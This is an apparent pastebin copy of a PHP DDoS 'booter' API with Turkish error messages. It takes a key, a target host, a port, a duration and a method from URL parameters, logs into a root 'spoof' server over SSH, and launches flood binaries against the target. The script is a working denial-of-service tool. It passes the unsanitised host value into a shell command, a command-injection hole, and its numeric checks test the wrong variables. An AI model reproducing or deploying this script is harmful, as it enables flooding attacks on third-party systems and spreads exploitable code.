· 6 years ago · Feb 13, 2020, 07:48 PM
1<?php
2ignore_user_abort(true);
3set_time_limit(1000);
4$server_ip = "SPOOF IP";
5$server_pass = "SPOOF PASSWORD";
6$server_user = "root";
7$key = $_GET['key'];
8$host = $_GET['host'];
9$port = intval($_GET['port']);
10$time = intval($_GET['time']);
11$method = $_GET['method'];
12$action = $_GET['action'];
13$array = array("methodlar EKLE","methodlar EKLE","stop");
14$ray = array("god"); // API Sifresi
15if (!empty($key)){
16}else{
17die('Error: API gecersiz!');}
18if (in_array($key, $ray)){
19}else{
20die('Error: API gecersiz!');}
21if (!empty($time)){
22}else{
23die('Error: time belirtilmedi!');}
24if (!empty($host)){
25}else{
26die('Error: Ip gecersiz!');}
27if (!empty($method)){
28}else{
29die('Error: Method is empty!');}
30if (in_array($method, $array)){
31}else{
32die('Error: The method you requested does not exist!');}
33if ($port > 44405){
34die('Error: Ports over 44405 do not exist');}
35if ($time > 1000){
36die('Error: Cannot exceed 1000 seconds!');}
37if(ctype_digit($Time)){
38die('Error: Time is not in numeric form!');}
39if(ctype_digit($Port)){
40die('Error: Port is not in numeric form!');}
41if ($method == "brsovhSPE") { $command = "/root/brs/brsovhSPE $host $port 5 -1 $time"; }
42if ($method == "yar") { $command = "/root/brs/yar $host $port 5 $time"; }
43if ($method == "stop") { $command = "pkill $host -f"; } // stop
44if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
45if(!($con = ssh2_connect($server_ip, 22))){
46 // echo "Error: Connection Issue";
47} else {
48 if(!ssh2_auth_password($con, $server_user, $server_pass)) {
49 // echo "Error: Login failed, one or more of you're server credentials are incorrect.";
50 } else {
51
52 if (!($stream = ssh2_exec($con, $command ))) {
53 // echo "Error: You're server was not able to execute you're methods file and or its dependencies";
54 } else {
55 stream_set_blocking($stream, false);
56 $data = "";
57 while ($buf = fread($stream,4096)) {
58 $data .= $buf;
59 }
60 echo "Spoofing started!</br>Hitting: $host</br>Port: $port </br>Time: $time</br>Method: $method";
61 fclose($stream);
62 }
63 }
64}
65?>